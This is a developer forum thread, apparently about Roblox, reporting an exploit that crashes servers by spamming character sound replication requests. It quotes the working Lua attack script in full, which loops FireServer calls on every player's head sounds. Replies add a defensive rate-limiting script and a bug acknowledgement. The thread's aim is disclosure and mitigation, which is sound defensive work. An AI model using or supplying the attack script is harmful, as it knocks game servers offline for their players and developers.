Sound Spam Crash Exploit

Investigating. Will fix it soon.

1 Like

They’re now using this similar exploit to crash servers - it seems to work in games which sound respects filtering enabled as well as having that disabled.

Code

game:GetService’RunService’.Stepped:Connect(function()
pcall(function()
for i,v in pairs(game:GetService’Players’:GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild’Head’ then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA’Sound’ then x.Playing = true x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)

What they’re ultimately doing is spamming the server with requests to replicate character sounds.

@spotco

1 Like

For the time being, this Script could possibly be used in StarterCharacterScripts, as it seems really unlikely that any player would send requests to turn on sounds at a high rate.

-- Edit these to throttle the amount of events fired to a given sound RemoteEvent.
local LIMIT = 10
local DURATION = 1.5

-- Implementation
local char = script.Parent
local head = char:WaitForChild("Head")

local player = game:GetService("Players"):GetPlayerFromCharacter(char)

local counter = 0

local function soundEventFired(sender)
	if sender ~= player then
		sender:Kick("Nice try.")
	else
		counter = counter + 1
		if counter > LIMIT then
			sender:Kick("Nice try.")
		end
		wait(DURATION)
		counter = counter - 1
	end
end

local function soundAdded(obj)
	if obj:IsA("Sound") then
		obj:WaitForChild("CharacterSoundEvent").OnServerEvent:Connect(soundEventFired)
	end
end

head.DescendantAdded:Connect(soundAdded)
for _, obj in next, head:GetDescendants() do
	soundAdded(obj)
end

But definitely, it is an issue that should be handled for all games, and not just as the above hotfix.

5 Likes

Yeah,

as the game I work on doesn’t really benefit in any way from character sounds, I just went ahead and disabled the event all together, but I know some games can really benefit from these character sounds.

1 Like

This topic was automatically closed 14 days after the last reply. New replies are no longer allowed.